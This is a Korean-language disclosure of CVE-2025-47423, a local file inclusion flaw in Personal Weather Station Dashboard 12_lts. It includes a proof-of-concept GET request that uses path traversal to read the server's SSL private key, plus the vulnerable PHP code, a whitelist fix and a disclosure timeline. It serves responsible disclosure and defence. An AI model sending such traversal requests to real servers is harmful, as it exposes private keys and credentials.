
CVE-2025-47423 상세 공개: Personal Weather Station Dashboard 12_lts의 로컬 파일 포함(Local File Inclusion) 취약점. PoC, 취약한 코드 분석, 방어 학습을 위한 안전한 수정 권장 사항을 포함합니다.
발견자: Matthew Eagle
상태: 공개 공개
보고 날짜: 2025-05-05
CVE ID: CVE-2025-47423
Personal Weather Station Dashboard 버전 12_lts의 로컬 파일 포함(LFI) 취약점으로 인해 인증되지 않은 원격 공격자가 서버의 임의 파일을 읽을 수 있습니다. 이 결함을 악용하면 개인 SSL 키를 포함한 민감한 파일에 접근할 수 있어 HTTPS 연결의 기밀성과 무결성이 손상될 수 있습니다.
/others/_test.phptest (GET을 통해)이 결함을 통해 원격 공격자는 다음을 수행할 수 있습니다:
server.key) 노출CVSS: 5.8 중간
GET /others/_test.php?test=../../../apache/conf/ssl.key/server.key HTTP/1.1
Host: www.example.com
응답:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAs2omMqKSB+lm7xu9Nu3C5...
...TRUNCATED...
-----END RSA PRIVATE KEY-----
$script = trim($_GET['test']);
$script = str_replace('../','',$script);
include($script);
str_replace는 디렉터리 순회를 방지하기에 충분하지 않습니다.
basename()으로 입력을 정리하고 허용된 파일과 대조 확인$allowed_tests = ['index.php', 'module_test.php'];
$script = isset($_GET['test']) ? basename($_GET['test']) : 'index.php';
if (!in_array($script, $allowed_tests)) {
die("Invalid test file.");
}
include(__DIR__ . '/scripts/' . $script);
| 날짜 | 이벤트 |
|---|---|
| 2025-05-05 | PWS Dashboard 운영진에 취약점 보고 |
| 2025-05-06 | 확인 및 테스트 진행 확인됨 |
| 2025-05-07 | MITRE를 통해 CVE-2025-47423 예약 |
| 2025-06-07 | 공개 패치 및 CVE 등록 확인 |
Personal Weather Station Dashboard 12_lts를 실행 중인 경우 다음을 수행해야 합니다:
_test.php를 제거하거나 업데이트취약점을 발견하고 책임 있게 공개한 Matthew Eagle
연락처: [email protected]
책임 있는 공개 지침을 준수하여 공개가 조율되었습니다. 이 문서는 교육 및 방어 목적으로 공개됩니다.